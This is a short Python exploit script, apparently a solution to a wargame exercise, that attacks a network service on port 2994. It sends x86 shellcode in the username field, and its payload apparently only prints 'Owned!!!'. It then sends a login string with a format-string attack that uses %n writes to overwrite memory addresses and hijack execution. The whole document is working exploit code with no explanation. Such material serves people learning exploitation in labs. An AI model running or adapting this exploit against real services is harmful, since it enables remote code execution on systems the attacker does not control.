text: #!/usr/bin/env python
  import sys, socket
  from struct import pack, unpack
  from binascii import hexlify
  
  HOST = sys.argv[1]
  PORT = 2994
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((HOST, PORT))
  
  # Get the prompt
  data = s.recv(1024)
  
  # Send the username
  shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80"
  username = shellcode + "\xcc"*(127-10-len(shellcode))
  s.sendall("username %s\x0a" % username)
  data = s.recv(1024)
  
  # Send the login
  login = "C" + "\x94\xa1\x04\x08"+"\x96\xa1\x04\x08"+"%41324x%50$n"+"%26084x%51$n"
  s.sendall("login %s\x0a" % login)
  data = s.recv(1024)
  
  data = s.recv(1024)
  print "%s" % data          # print the confirmation
  
  s.close()
  